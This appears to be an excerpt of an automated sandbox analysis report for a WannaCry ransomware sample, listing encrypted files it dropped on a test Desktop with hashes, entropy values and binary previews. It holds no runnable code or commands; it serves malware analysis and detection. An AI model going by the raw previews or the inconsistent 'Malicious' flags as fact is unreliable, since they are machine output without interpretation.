                                                                                                                                                                              Entropy (8bit):7.838951650422603
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkeuqmeMvlRtmzE6GOAwrq7rhO8+bDFtD7EOiy0QyQ4QDSTdcZpnxYM+F:bkenMvdoZrrAOPIOxTf2cZDYMK
                                                                                                                                                                              MD5:4BB32938E74CCF00E05D1EDC8344EB03
                                                                                                                                                                              SHA1:6D1B451672ED529D79639681E4D345B3360E2BD7
                                                                                                                                                                              SHA-256:35C172B386BA7D18698F1B32D1CE5B69F04594A37A2F5B836109331CEF513F59
                                                                                                                                                                              SHA-512:FA9D369D186EA6F693D88BDC08F381315E16E7704CF55B994B6128E4AE2F150F77865A642EBEC4B259EB69A78AA38720A2738FC30CC0EF3A595D7412DE825F21
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....f .`.x*..8or.l*h1.b...'..........4v.~...U.2xh.... 86..#[........ld..2P#..[Ls..O...&.......q...}U.7b....3.....,.c...n.c..@=n..N;2..."s~g....."0K4....h......T.'....Z.......D.....%'........r(.z.....Iz.K.s,...q...h....Q.....E..........=Cx.....{...|.................$.v..L...kc..=..d{...Y..D..Kh.=H.7..An._..$.8.Agp.)X.2....J......~..-..bW.SkG....|.u.".;.......4RVnq.4p..Z....\...W.G..nk........@..`F.O..!.K........RAo..^..6...3..d.-6...$...i..aK^..V..).....W..e=#..g+.k.NC...~.vz\.N..<".....n...w...0~...L.C...S:.L...Cs.I:s..<B..v......l....A...^..K]..@|......q.`T.....<......a....x.:*.(..0.A!.|...}.+Q..L.#..N..e..C..Lg.lS.;.V..`.I...|....V...t..Q..g..+.8.>...d..{...9..y.~e...7N..<Q.r..@.n.4...[...A......n..h@_................Z*&.V....N0.F9H.X]Q.........Z....~..D..L..X.EJ.T.....^[..s..$.]..6.awRA.......X..U.bK.a...>wO...1X..[..+..c..N.m.v....o1p.j.....j..........EGxf.T...*\e..+....*...!]M.......A.?)n..'..\J...Q......Py..s..Bb

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\GIGIYTFFYT.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.838951650422603
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkeuqmeMvlRtmzE6GOAwrq7rhO8+bDFtD7EOiy0QyQ4QDSTdcZpnxYM+F:bkenMvdoZrrAOPIOxTf2cZDYMK
                                                                                                                                                                              MD5:4BB32938E74CCF00E05D1EDC8344EB03
                                                                                                                                                                              SHA1:6D1B451672ED529D79639681E4D345B3360E2BD7
                                                                                                                                                                              SHA-256:35C172B386BA7D18698F1B32D1CE5B69F04594A37A2F5B836109331CEF513F59
                                                                                                                                                                              SHA-512:FA9D369D186EA6F693D88BDC08F381315E16E7704CF55B994B6128E4AE2F150F77865A642EBEC4B259EB69A78AA38720A2738FC30CC0EF3A595D7412DE825F21
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....f .`.x*..8or.l*h1.b...'..........4v.~...U.2xh.... 86..#[........ld..2P#..[Ls..O...&.......q...}U.7b....3.....,.c...n.c..@=n..N;2..."s~g....."0K4....h......T.'....Z.......D.....%'........r(.z.....Iz.K.s,...q...h....Q.....E..........=Cx.....{...|.................$.v..L...kc..=..d{...Y..D..Kh.=H.7..An._..$.8.Agp.)X.2....J......~..-..bW.SkG....|.u.".;.......4RVnq.4p..Z....\...W.G..nk........@..`F.O..!.K........RAo..^..6...3..d.-6...$...i..aK^..V..).....W..e=#..g+.k.NC...~.vz\.N..<".....n...w...0~...L.C...S:.L...Cs.I:s..<B..v......l....A...^..K]..@|......q.`T.....<......a....x.:*.(..0.A!.|...}.+Q..L.#..N..e..C..Lg.lS.;.V..`.I...|....V...t..Q..g..+.8.>...d..{...9..y.~e...7N..<Q.r..@.n.4...[...A......n..h@_................Z*&.V....N0.F9H.X]Q.........Z....~..D..L..X.EJ.T.....^[..s..$.]..6.awRA.......X..U.bK.a...>wO...1X..[..+..c..N.m.v....o1p.j.....j..........EGxf.T...*\e..+....*...!]M.......A.?)n..'..\J...Q......Py..s..Bb

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.816925335153227
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:08eUbhuhTbMf2KzHVvKhEPCyj3Ysmbt+z5IVBC9NCAs7tl9:0ZUWbMu01ShE/j3Ysmkz524G7J
                                                                                                                                                                              MD5:4CF8864F4D8FEEB3D973EC00C86E5FDC
                                                                                                                                                                              SHA1:3741704E78F776B5D8A71232299C772F69317FA3
                                                                                                                                                                              SHA-256:06E58C5ED2200B6DEB765098490C5282ABA3992D56652A345BBFD9D20FCB767A
                                                                                                                                                                              SHA-512:24824566C9133EB00A8137C3B7EE772867C28698FB675057767247EE87EBB281144F007971F7DA03A3D8275463824B1DE1E7CDBE6A9EB32E736C914B339B1A6B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.h..?.......q....@=m.......y..&.'6..k......r.6...a..Xv..H1b..7.P...u..?.....\..M.O...F.l.~'...%.v3>..3........9......<..@..2.m. W..r.-....?.>...e....O...L.r.."'....{..,G=.....8*a...k....NCh5.f).0..g_..ap...8s.U5*.........r..BQ.....[.fI.i..S.N..qH.!.1-...n.".(...B..\U...}9....[..~0.......#;..3..#[.|..+.0l.}...K.jN......y...61L....j..@.X......F..G....Co.<...o.q..p...k...1..W.... ..z.6...v@.q`...E...........Ao..Z1.n...(.x...u.3.:..c..Y9....JZ.18..!i..:..L..*a.....WL..'t..l.c.&.<....`....&d~....7.Ry..J..3..\.lF.+hS.g 0?.R2....w..;..!.S..M...s...5...}....T..i.....{.,..2..m.#.t..X....s..o..rv..............S..hj _B...7.pj.G5...P..:.J..).0......a..-eV..w..h.5.^U3=S.2...a...Y..7k....7.Xq....|.CC|=.1.\.x.iu....t.).$Uf.$..s:;..s.C...$.x...z...C./s....:.M......)...;..,._GKo...."....up..f.k.<..Q.;.../e...@.NF.x.86..T..".QK."...n)CYli.R.....e.c...m........F....J..g.<.t..[.T.K,..[..n.P.X.j_....^..:.....}..B...'5.H....rXu...<....u.6.[...Gra...>V.hOi.

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.860591499248757
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk10h+WeG1oAp30UPkO4w1J/efhbBuouMKR49Cq/rn3yhaF6SMj:bkih+WeStPsw1J2ZtDJCq/L3G
                                                                                                                                                                              MD5:8D4427971CD34C855B4CDF93DCD69E91
                                                                                                                                                                              SHA1:D2E549650781EF97E42EB1245566D86E01F37D67
                                                                                                                                                                              SHA-256:1B563BC4A3DBA9657CA80DC22B4E0BDE7CC09615B11956FBA59EA2D213E336B9
                                                                                                                                                                              SHA-512:D3EE81C54ECFB263D14091274D903B4333318F6652ED4A12BDB04D1344516974D8B579300A16A3AEEC2FD758581F0CF01B9FDFD40DA6A513F720FD7F7A87984A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....k<"......D..p...*....y;.....R>.v.Z..5..5@.. wM(...B.j.MK.[w.y`.S.I....<^.%.X..t....M... .G..7.Mj..WnU.m.Hu.e...._.....3N/g....7....d.........9...<..........=yPQV.F.?.Yd....../&P.+6Mr.#M..k............|..i..8.....".N_..j..>.dwmK.$...(),%0.C.....b............8...O.xW...H.w......d..d...q...%.C....\.A...D...C...._.'-.A.y2.......9.F.w...7...Z..;..JZ.t......`5..k.4.......F.Tj..X-.F|PA.:.g5.........6]$..F.....D....Y...v#G.....J`We..N.l....M.|j......_.3..0...K.p8#...i].^.m....g......i....!...:..zE.....N.z.Z*2..S...!.(~.'..1.q.!GI;.l.@...2:.....V..$yE..Dl..4.$..%..]....U_J.-..X).Yk.S.].|....^u.;l.... ?5.....id..T....N....`..L..e....w[...Gj..N'.9.[2...S..3.]"A>NY..Z....cv.h....|&l..F..j..8.+..~..d.5..[bCdW.xg...L.9rG....O.T....3.g.......EU.N........!)6'.....'.Uk..m...{\Za@...s.u.C........O...K..~.q.....='.4..0....JBJ...1_j..H`.>..W...>...C....5.3.../E......7.? .;...m'..*.W........{6O..........&.~i........$..((...)....lP....}r.......;s.c.....

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.860591499248757
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk10h+WeG1oAp30UPkO4w1J/efhbBuouMKR49Cq/rn3yhaF6SMj:bkih+WeStPsw1J2ZtDJCq/L3G
                                                                                                                                                                              MD5:8D4427971CD34C855B4CDF93DCD69E91
                                                                                                                                                                              SHA1:D2E549650781EF97E42EB1245566D86E01F37D67
                                                                                                                                                                              SHA-256:1B563BC4A3DBA9657CA80DC22B4E0BDE7CC09615B11956FBA59EA2D213E336B9
                                                                                                                                                                              SHA-512:D3EE81C54ECFB263D14091274D903B4333318F6652ED4A12BDB04D1344516974D8B579300A16A3AEEC2FD758581F0CF01B9FDFD40DA6A513F720FD7F7A87984A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....k<"......D..p...*....y;.....R>.v.Z..5..5@.. wM(...B.j.MK.[w.y`.S.I....<^.%.X..t....M... .G..7.Mj..WnU.m.Hu.e...._.....3N/g....7....d.........9...<..........=yPQV.F.?.Yd....../&P.+6Mr.#M..k............|..i..8.....".N_..j..>.dwmK.$...(),%0.C.....b............8...O.xW...H.w......d..d...q...%.C....\.A...D...C...._.'-.A.y2.......9.F.w...7...Z..;..JZ.t......`5..k.4.......F.Tj..X-.F|PA.:.g5.........6]$..F.....D....Y...v#G.....J`We..N.l....M.|j......_.3..0...K.p8#...i].^.m....g......i....!...:..zE.....N.z.Z*2..S...!.(~.'..1.q.!GI;.l.@...2:.....V..$yE..Dl..4.$..%..]....U_J.-..X).Yk.S.].|....^u.;l.... ?5.....id..T....N....`..L..e....w[...Gj..N'.9.[2...S..3.]"A>NY..Z....cv.h....|&l..F..j..8.+..~..d.5..[bCdW.xg...L.9rG....O.T....3.g.......EU.N........!)6'.....'.Uk..m...{\Za@...s.u.C........O...K..~.q.....='.4..0....JBJ...1_j..H`.>..W...>...C....5.3.../E......7.? .;...m'..*.W........{6O..........&.~i........$..((...)....lP....}r.......;s.c.....

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\PALRGUCVEH.xlsx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.804490633989969
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:em5qowsNb4hzfBiJQR/m0JSFCQ7plh7Hm1oQ50KSXFp:em5bNb43gQFm0JSFZ7/hS1oQoj
                                                                                                                                                                              MD5:8BEDBD27EA5ED2AC8ABB76EFE4A90A93
                                                                                                                                                                              SHA1:B50ADDD8A4CBF46553AEDF7B15F8DBB681A086CC
                                                                                                                                                                              SHA-256:805FAD3410FFA8EE8C3A532F4B6D53944938D9A6AFCF9535A3DB41A3A67A7027
                                                                                                                                                                              SHA-512:25039BADCEAEBD167C91547A4648926E2D5814E589111FA4DCDAFEB198D954198B7BCD79ADFD1C88AC9D0FFA61BB9A3C6DC066EA45B0866A221E7A0DD8C29206
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.(u\.0.1.,B.i.!..O..>.S...$..].U(....Eo?...Sk.g...t. .#...4C...?D......4.. ..%.%N.Bj%.:..ps.b.[.Ox........b.'........[v..jb>.......,bK...Z.5...[ ......K.#.q.$.Fg.Ea..UG.{.-.V+>..u.J......|...D...h.TJn.....5..<.E..(O(+..O.....%4...BR5P3..ne0..s.....J..zrJ{.1.4gV......<.Nc..oY.n.:...3I9......Ov.N.....{aJ...Xo..xl..fA......6...~......,E.6.'.;{.5...:.K..._y.......Cf1>D..C..c1....E.,.8{}..........>...{.....C..}...p'..5A...'.\.?.`h...E.*.I....1.....D.&..l[},..O.*Q....l..90.Y;...M.......=....7..[...@.!b..@.......}..kPJ....b'n..hi.=I...>...t.q..iM..&.I..~...,..q....IBoU.:.%..*\MC.X..5x.]q..".!...#..#Q.-...Z.ZP..W.1.j9Z6.\....q)cK_U..wl..,..*....^...: .....:..7'.o..!kn..m.!...4....%..S.. ..V...W_.....:.T;...p..\6.Yi.M...6......Z.z..Yd.bT.#a.......B.-C.6..bZ.q.h../.k..?.M......H..q..w.C......'.?.j.2....]cM.D..6..@D#.B..(%.t...m..X.(/.%..[5.h.m~..I.h0..~.t)....i4.3..b...h...x.^.DS+..... .......u.....C.>.lpl..N.Z..n=,..7.......L@..g.:..[........

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\PALRGUCVEH.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.857143017683256
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkGaBAoQsuSx8mH6I2lT8F9Z0Z7PZgYO26RYxdXGduvf5p4NTELQ4bFX:bkGaBFQsuSx8wz8T8+Z2Yb6RYr2U35u2
                                                                                                                                                                              MD5:B876ED677AFEAB02EFBBFD4569FCCE64
                                                                                                                                                                              SHA1:3D01A9CC58BF1D2E749EA00FE719B5DB0F1DD629
                                                                                                                                                                              SHA-256:CB56FB5F5114C0CF0E44F010BF86F070C74E959406C2A33A425055BB0CB9FE0D
                                                                                                                                                                              SHA-512:EC133CE5FC84B004D06D325C2CAF02D6E029A7C5C64D830AF766BD67F20C2AFF90A9C91AEE09F9AFC8679035D294955D46B631192C9462C4C910419A0BDF70A3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....B....D...D....$.U... ........p.|......Q.Y.6"Ir......D........k|..b..j...&.~...=l....%...13u.X.g...[u.'/.....&....j..]..[o.._e^_.....l..nN.\5...].f..U...J...F..;..v7.$LW!.n...hr..7[*1.....i..."....o..M.D.>\.\.....sg...1..J...p.6]......;..m...d-.................;.$eNuv..K. :..Uh.9y....<.]-@...B..r.h..p...5p..@W.Tj.P)...u.../...l.&./..%..c.sM-.T........FYK..|.............V%.c..%\.X.2.HM8z<...Yt\.....`X..h..q..wyI....lq..V.../w....[.pv........Sx....,.....W.M.j.+..O..M..;...h{..j.8HB..a..V..\KI.!.*.Z.0>.c.ny^.......0I..uP.]....1.><....>,&..c....x.a...Z.....V.s8w<..Zi......-../..TJ...o.7.+~......S...a0.>....)T..$.:.q..#.h...t.00..3.g.7.e..J..i.&U.*c.L......9..]^..21x..ZNN....5......B..EGh.> A...!........%&..t.0G....t..58............."@._.s.{....O.v....S........21mW...T..I.GA.....P}..<G3.....X.Na....y..P..#~t..H.....Af.i..K..;.~....+R.B.d.@...)..\$.\K4.H.s.@/./...k3f.L.3x.....)M..'!=F.t.e.~q>....'.......+...ug.B!z<...K.c.Fz.0 X3......

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\PALRGUCVEH.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.857143017683256
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkGaBAoQsuSx8mH6I2lT8F9Z0Z7PZgYO26RYxdXGduvf5p4NTELQ4bFX:bkGaBFQsuSx8wz8T8+Z2Yb6RYr2U35u2
                                                                                                                                                                              MD5:B876ED677AFEAB02EFBBFD4569FCCE64
                                                                                                                                                                              SHA1:3D01A9CC58BF1D2E749EA00FE719B5DB0F1DD629
                                                                                                                                                                              SHA-256:CB56FB5F5114C0CF0E44F010BF86F070C74E959406C2A33A425055BB0CB9FE0D
                                                                                                                                                                              SHA-512:EC133CE5FC84B004D06D325C2CAF02D6E029A7C5C64D830AF766BD67F20C2AFF90A9C91AEE09F9AFC8679035D294955D46B631192C9462C4C910419A0BDF70A3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....B....D...D....$.U... ........p.|......Q.Y.6"Ir......D........k|..b..j...&.~...=l....%...13u.X.g...[u.'/.....&....j..]..[o.._e^_.....l..nN.\5...].f..U...J...F..;..v7.$LW!.n...hr..7[*1.....i..."....o..M.D.>\.\.....sg...1..J...p.6]......;..m...d-.................;.$eNuv..K. :..Uh.9y....<.]-@...B..r.h..p...5p..@W.Tj.P)...u.../...l.&./..%..c.sM-.T........FYK..|.............V%.c..%\.X.2.HM8z<...Yt\.....`X..h..q..wyI....lq..V.../w....[.pv........Sx....,.....W.M.j.+..O..M..;...h{..j.8HB..a..V..\KI.!.*.Z.0>.c.ny^.......0I..uP.]....1.><....>,&..c....x.a...Z.....V.s8w<..Zi......-../..TJ...o.7.+~......S...a0.>....)T..$.:.q..#.h...t.00..3.g.7.e..J..i.&U.*c.L......9..]^..21x..ZNN....5......B..EGh.> A...!........%&..t.0G....t..58............."@._.s.{....O.v....S........21mW...T..I.GA.....P}..<G3.....X.Na....y..P..#~t..H.....Af.i..K..;.~....+R.B.d.@...)..\$.\K4.H.s.@/./...k3f.L.3x.....)M..'!=F.t.e.~q>....'.......+...ug.B!z<...K.c.Fz.0 X3......

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\TQDFJHPUIU.mp3

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.828231905738273
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:LV5UoAVDLdmMmYoD4r5ZojLhFcXsH6oWu0bxOK3YGPIm:b8DLdmgVZopFFHwuIoW
                                                                                                                                                                              MD5:D8B498D31BF6CAB7D6BE552DB7EBEF0A
                                                                                                                                                                              SHA1:96BED3FE31DEE829DBF7CA5735A47A7A7F1D2553
                                                                                                                                                                              SHA-256:1B5758C7E2C8EE02CD0C7AF7119C1F62B4E8523A18FE2BC5DDBF0340338836A2
                                                                                                                                                                              SHA-512:FE8AA9DFB73365CA2A4DE36AE5DAFA7EDFF5741DCBA5ED71D4B633EDD4CA4AF16145AD0CC6B67EF410566918107B2501145E90EBA4789736E6A260481FF8C982
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:#.......v.<..v.9N.#5./jE.s.?&.B:N*...X..+.....V.....y.7.oJ.s3W...........I.........:.r.0.d@Z.4F>.|.C..z....FB..M......&..P.."..IB.$.]T...J..$_.}.. b... Q}^.i.~...$..n..."i`C.-.}A.<V>.........Y.!...w........*...'!........;V.&':M8............. .....}R./.....x......:...r.(#L.......]JF.m.O....'~..T.I-.zg.&..3..~Qu;..8...D.j...I.g.$....o......./...gO.d..5.~.......R8...8 ..p.?m...I..x..N..i.{n6j6SY....$....n...q...m.0WU...{!.&....K..0F...lzL.".....7U*...|......$j..h...R<I.V......x.$V t..tx.{.].|CE.2...y.m...|6...yr...`..m.b...L.. H#)....m...^{......b....`s...[}k<........].J..@.0....lni.E...8.#.].O|...D.B2.6.Q2..c....L..R..-y.P..#.]?d.fT..3h...w..rN..5...........W.....l........i. ....e.Ae...a......Hp...V.|.2..GVF..u.~Q....O.I..p..........7...)h....a)....M....}W..."...2..._.+~..L].`]CW.AFC..........)9.D2I..)b.D.....J|...dS.........6v..m...1.u...)lP?3....Q..u....M....K.`.,.x.a.&..zHCr...;D.2..Dm\.sne.&..n.....2.z..eTjL.k.S......}VuA.Y..c.r.A

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\TQDFJHPUIU.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.846438229101827
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkc6XOwEzU4W+O73xtls1e3YYJAVnfZszrcUeIFzt5Yxd:bkfOwEzU4W+O73Dlme3YYJAVhyeIFztc
                                                                                                                                                                              MD5:90DDB847226BA4821931C7576E1B9B7C
                                                                                                                                                                              SHA1:B27FA94EB1387F84A6F174BC41B4A8ECDBF3CD07
                                                                                                                                                                              SHA-256:F9EED81E8F4A9C3514178E51932AF3583BC048192175D48D60586E490060C7F7
                                                                                                                                                                              SHA-512:1DD9F90C5981ADFF6174388EB7348BDF70B3533BE65C2FAC4E8D34D6CAB95709AD44E2753751E75548AECF0E9A2D800E9C6C064F6531CF40522976B3029D41F8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....P..9..A.L...!.[\....RJ.,...6h....a..S.x@.q...z..;.P..*.....SD..;..c>VN...M?V...,...`\...l.+.=X.-.f[...v..=mL[.7l..'.7.U:O.E....<..<'1QYQ"......ZR.D.t.u.Np..$ ..l.t.t..`9p..g7....}7...I..ef...2....hs.....O.6.n].=.....^.....e...32.......`.txf...k...............!....]c>v.Lr..*...<.y.|..v+^L..4.).Ss2.....)..t`".......W.Jt.S.....).!....K..S...'....iY...i.G...~v.W..Vu..*u.`....D....+=3......i..[@p.k.:F....7a.=... .bW.K....[....K...4Qd....->@#.........b..R|.%.g.P....~I............Q.X..5.O.....7.......5.ppv9...K......a$z.NY.Kn}/..4..{m......^..5.N.:..I\G.7.f..1.FE......@...j.Q..rB.\.....W..V........../.h..-...'..x|.....g.r..]Km..[E.j...Iq.DO9.....Fp.XOa$T...>...hM.}.H3.2......r.a.........NN...7<.y.j.%..q;M..W..C'{->..3..%.E..boeq{E'..F.30;.~z.5.jR\z.&o.$/..C[.PW..k.....9..G........qD..\..w.-.>8....V.>.B.1}....c.e.........R.C....=h...:Hn..|V1.x....o.....V|.Jb.M....a.`F..-.0..U...Fc.*<..VX.[.:.S...KV..z.)."..,.....a.....u.f../..M~G.b\.?

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\TQDFJHPUIU.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.846438229101827
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkc6XOwEzU4W+O73xtls1e3YYJAVnfZszrcUeIFzt5Yxd:bkfOwEzU4W+O73Dlme3YYJAVhyeIFztc
                                                                                                                                                                              MD5:90DDB847226BA4821931C7576E1B9B7C
                                                                                                                                                                              SHA1:B27FA94EB1387F84A6F174BC41B4A8ECDBF3CD07
                                                                                                                                                                              SHA-256:F9EED81E8F4A9C3514178E51932AF3583BC048192175D48D60586E490060C7F7
                                                                                                                                                                              SHA-512:1DD9F90C5981ADFF6174388EB7348BDF70B3533BE65C2FAC4E8D34D6CAB95709AD44E2753751E75548AECF0E9A2D800E9C6C064F6531CF40522976B3029D41F8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....P..9..A.L...!.[\....RJ.,...6h....a..S.x@.q...z..;.P..*.....SD..;..c>VN...M?V...,...`\...l.+.=X.-.f[...v..=mL[.7l..'.7.U:O.E....<..<'1QYQ"......ZR.D.t.u.Np..$ ..l.t.t..`9p..g7....}7...I..ef...2....hs.....O.6.n].=.....^.....e...32.......`.txf...k...............!....]c>v.Lr..*...<.y.|..v+^L..4.).Ss2.....)..t`".......W.Jt.S.....).!....K..S...'....iY...i.G...~v.W..Vu..*u.`....D....+=3......i..[@p.k.:F....7a.=... .bW.K....[....K...4Qd....->@#.........b..R|.%.g.P....~I............Q.X..5.O.....7.......5.ppv9...K......a$z.NY.Kn}/..4..{m......^..5.N.:..I\G.7.f..1.FE......@...j.Q..rB.\.....W..V........../.h..-...'..x|.....g.r..]Km..[E.j...Iq.DO9.....Fp.XOa$T...>...hM.}.H3.2......r.a.........NN...7<.y.j.%..q;M..W..C'{->..3..%.E..boeq{E'..F.30;.~z.5.jR\z.&o.$/..C[.PW..k.....9..G........qD..\..w.-.>8....V.>.B.1}....c.e.........R.C....=h...:Hn..|V1.x....o.....V|.Jb.M....a.`F..-.0..U...Fc.*<..VX.[.:.S...KV..z.)."..,.....a.....u.f../..M~G.b\.?

                                                                                                                                                                              C:\Users\user\Desktop\NYMMPCEIMA.png

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.811588751062686
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:0+qgTpliWeCT3TXCAfcNGx/DzqcObZGKXO9rt1TSgSmNjNMiFRl:7qSeCT32A/qciGK+9fSlOxMsRl
                                                                                                                                                                              MD5:9FBD0853563825427FD446D4FE8536D8
                                                                                                                                                                              SHA1:AF354FCEA4D39BEAB41C4F7C1DD19F563280F8F2
                                                                                                                                                                              SHA-256:0A34F0B1A54160E008CD5F4C75EA28E865A02384E71310BA3117089076B8D261
                                                                                                                                                                              SHA-512:890BD8F434A9A0C698BE867A80C22FA56CBDA9F5AB9A721F2C7EDA57CFB78B45AA71F67232831CAE508ACC21C8C35C1B728A06E7AA21FBA7D2711C2BD9B8E6C4
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.YK>..,....)....u&.I..u.>....=J".fY..ww._....`...*W<...Zl,......M.-....\..:..Qt.9.A...wo.5Vu1.3.....yF.../T."8.s...#v...!M...FG..6c%.#..(..[].~:^........x.K../..J....uF.......{..D.........$....U.=..>75.X2...Vry.9p.77.."...?.Uk.G...M.#&...E.J..C.'..D.........*"..p.o.@..qn....R.fi[..]....E...X.G.m_.......g...;.A.:^k.....f*..L....u}.._.^... ....8r....n.......M4.Ie|...g....?.....W ....z.J.3.]...1yq..KA.D.&+}&.20.c.30.. zn.........'.......7..2<....vL.4""....!.L.\.....6P.....sb..5$=....L..kQ....H.X.......$..H*xTc...zz.......k0.*....E...R..s.k.]...3.@ 3j+.|}.r...r.nqb..@._#..fll..;.|(~..Gy.!.o...j.M....h.......3.%........#..K...N].)3y..S.......u.."..r...I..nK.v"ar4.-rrL...u..9..b'=.]..L..P .ID.G.....M.."...`?^.D.J...d...t...E..[.ET....B...m.......bp....cZ .Z..U.m.G....~I.f.cP(...5..O....IpE.g.X$]...X...9w1k. z.0_#.@.}&.U.....E.i...........k\..........,..O.o..=.D.@.g.6....#..V.~./..1.PE..L$....'G.......=.r..h).Kwa....F...fv._"

                                                                                                                                                                              C:\Users\user\Desktop\NYMMPCEIMA.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8611477523057935
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk57uwEd7FO0aLVZu4Mm1yIyFWPWaboiqTTZD6Zp3H3IvY3YDfj+:bk5fQZODnu471yInZ6TTZD6n73YD7+
                                                                                                                                                                              MD5:826716E33F5D16B016494442AFA3AD46
                                                                                                                                                                              SHA1:822C782C86FBC4918C11F9C2086C28DE13843332
                                                                                                                                                                              SHA-256:4AD417D9282B2FB7075AB280D8DC7C58FE38CF8A44A873AD3E2C526665D34E6B
                                                                                                                                                                              SHA-512:D387429979B0477CBE2AAA45E997278AE57128C99DBA43DB0F75544B8AA6F626B0C99AFA8B656C356C0B3D4296DD6AF434603F9119F23F4A73618CC1220ADF8F
